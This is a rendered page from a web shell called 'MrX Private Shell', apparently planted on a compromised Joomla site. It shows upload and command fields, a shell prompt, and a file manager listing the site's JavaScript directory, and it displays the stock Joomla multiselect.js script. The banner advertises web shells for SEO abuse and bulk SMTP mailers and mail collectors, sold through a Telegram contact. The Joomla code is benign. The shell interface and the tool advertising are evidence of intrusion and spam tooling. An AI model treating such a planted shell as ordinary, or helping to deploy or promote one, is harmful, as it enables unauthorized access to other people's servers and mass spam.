__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JavaScript behavior to allow shift select in administrator grids
 */
class JMultiSelect {
  constructor(container) {
    this.tableEl = container;
    this.formEl = container.closest('form');
    this.rowSelector = 'tr[class^="row"]';
    this.boxSelector = 'input[type="checkbox"][name="cid[]"]';
    this.checkallToggle = this.tableEl.querySelector('[name="checkall-toggle"]');
    this.prevRow = null;

    // Use delegation listener, to allow dynamic tables
    this.tableEl.addEventListener('click', event => {
      if (!event.target.closest(this.rowSelector)) {
        return;
      }
      this.onRowClick(event);
    });
    if (this.checkallToggle) {
      this.checkallToggle.addEventListener('click', ({
        target
      }) => {
        const isChecked = target.checked;
        this.getRows().forEach(row => {
          this.changeBg(row, isChecked);
        });
      });
    }
  }
  getRows() {
    return Array.from(this.tableEl.querySelectorAll(this.rowSelector));
  }

  // Changes the row class depends on selection
  // eslint-disable-next-line class-methods-use-this
  changeBg(row, isChecked) {
    row.classList.toggle('row-selected', isChecked);
  }

  // Handle click on a row
  onRowClick({
    target,
    shiftKey
  }) {
    // Do not interfere with links, buttons, inputs
    if (target.tagName && (target.tagName === 'A' || target.tagName === 'BUTTON' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.tagName === 'INPUT' && !target.matches(this.boxSelector))) {
      return;
    }

    // Get clicked row and checkbox in it
    const currentRow = target.closest(this.rowSelector);
    const currentBox = target.matches(this.boxSelector) ? target : currentRow.querySelector(this.boxSelector);
    if (!currentBox) {
      return;
    }
    const isChecked = currentBox !== target ? !currentBox.checked : currentBox.checked;
    if (isChecked !== currentBox.checked) {
      currentBox.checked = isChecked;
      Joomla.isChecked(isChecked, this.formEl);
    }
    this.changeBg(currentRow, isChecked);

    // Select rows in range
    if (shiftKey && this.prevRow) {
      // Prevent text selection
      document.getSelection().removeAllRanges();

      // Re-query all rows, because they may be modified during sort operations
      const rows = this.getRows();
      const idxStart = rows.indexOf(this.prevRow);
      const idxEnd = rows.indexOf(currentRow);

      // Check for more than 2 row selected
      if (idxStart >= 0 && idxEnd >= 0 && Math.abs(idxStart - idxEnd) > 1) {
        const slice = idxStart < idxEnd ? rows.slice(idxStart, idxEnd + 1) : rows.slice(idxEnd, idxStart + 1);
        slice.forEach(row => {
          if (row === currentRow) {
            return;
          }
          const rowBox = row.querySelector(this.boxSelector);
          if (rowBox && rowBox.checked !== isChecked) {
            rowBox.checked = isChecked;
            this.changeBg(row, isChecked);
            Joomla.isChecked(isChecked, this.formEl);
          }
        });
      }
    }
    this.prevRow = currentRow;
  }
}
const onBoot = container => {
  let selector = '#adminForm';
  const confSelector = window.Joomla ? Joomla.getOptions('js-multiselect', {}).formName : '';
  if (confSelector) {
    const pref = confSelector[0];
    selector = pref !== '.' && pref !== '#' ? `#${confSelector}` : confSelector;
  }
  container.querySelectorAll(selector).forEach(formElement => {
    if (formElement && !('multiselect' in formElement.dataset)) {
      formElement.dataset.multiselect = '';
      // eslint-disable-next-line no-new
      new JMultiSelect(formElement);
    }
  });
};
onBoot(document);
document.addEventListener('joomla:updated', ({
  target
}) => onBoot(target));

Filemanager

Name Type Size Permission Actions
fields Folder 0775
core-es5.js File 27.01 KB 0664
core-es5.min.js File 7.29 KB 0664
core-es5.min.js.gz File 3.07 KB 0664
core.js File 25.53 KB 0664
core.min.js File 7.5 KB 0664
core.min.js.gz File 3.12 KB 0664
draggable-es5.js File 6.14 KB 0664
draggable-es5.min.js File 2.27 KB 0664
draggable-es5.min.js.gz File 1.02 KB 0664
draggable.js File 5.66 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight-es5.js File 70.08 KB 0664
highlight-es5.min.js File 17.29 KB 0664
highlight-es5.min.js.gz File 5.78 KB 0664
highlight.js File 61.34 KB 0664
highlight.min.js File 15.34 KB 0664
highlight.min.js.gz File 5.33 KB 0664
inlinehelp-es5.js File 2.36 KB 0664
inlinehelp-es5.min.js File 887 B 0664
inlinehelp-es5.min.js.gz File 517 B 0664
inlinehelp.js File 2.12 KB 0664
inlinehelp.min.js File 815 B 0664
inlinehelp.min.js.gz File 489 B 0664
joomla-core-loader-es5.js File 8.62 KB 0664
joomla-core-loader-es5.min.js File 5.46 KB 0664
joomla-core-loader-es5.min.js.gz File 1.95 KB 0664
joomla-core-loader.js File 3.98 KB 0664
joomla-core-loader.min.js File 3.32 KB 0664
joomla-core-loader.min.js.gz File 1.09 KB 0664
joomla-hidden-mail-es5.js File 5.44 KB 0664
joomla-hidden-mail-es5.min.js File 2.92 KB 0664
joomla-hidden-mail-es5.min.js.gz File 1.25 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button-es5.js File 7.96 KB 0664
joomla-toolbar-button-es5.min.js File 4.07 KB 0664
joomla-toolbar-button-es5.min.js.gz File 1.61 KB 0664
joomla-toolbar-button.js File 3.08 KB 0664
joomla-toolbar-button.min.js File 1.85 KB 0664
joomla-toolbar-button.min.js.gz File 781 B 0664
keepalive-es5.js File 1.12 KB 0664
keepalive-es5.min.js File 594 B 0664
keepalive-es5.min.js.gz File 427 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view-es5.js File 3.15 KB 0664
list-view-es5.min.js File 1.55 KB 0664
list-view-es5.min.js.gz File 539 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages-es5.js File 17.44 KB 0664
messages-es5.min.js File 8.54 KB 0664
messages-es5.min.js.gz File 2.96 KB 0664
messages.js File 10.28 KB 0664
messages.min.js File 5.47 KB 0664
messages.min.js.gz File 1.79 KB 0664
multiselect-es5.js File 4.44 KB 0664
multiselect-es5.min.js File 2.01 KB 0664
multiselect-es5.min.js.gz File 980 B 0664
multiselect.js File 3.82 KB 0664
multiselect.min.js File 1.9 KB 0664
multiselect.min.js.gz File 928 B 0664
searchtools-es5.js File 20.9 KB 0664
searchtools-es5.min.js File 10.85 KB 0664
searchtools-es5.min.js.gz File 2.63 KB 0664
searchtools.js File 18.8 KB 0664
searchtools.min.js File 10.51 KB 0664
searchtools.min.js.gz File 2.58 KB 0664
showon-es5.js File 10.55 KB 0664
showon-es5.min.js File 3.61 KB 0664
showon-es5.min.js.gz File 1.39 KB 0664
showon.js File 9.57 KB 0664
showon.min.js File 3.47 KB 0664
showon.min.js.gz File 1.36 KB 0664
table-columns-es5.js File 6.78 KB 0664
table-columns-es5.min.js File 3.56 KB 0664
table-columns-es5.min.js.gz File 1.32 KB 0664
table-columns.js File 6.01 KB 0664
table-columns.min.js File 3.4 KB 0664
table-columns.min.js.gz File 1.27 KB 0664
Filemanager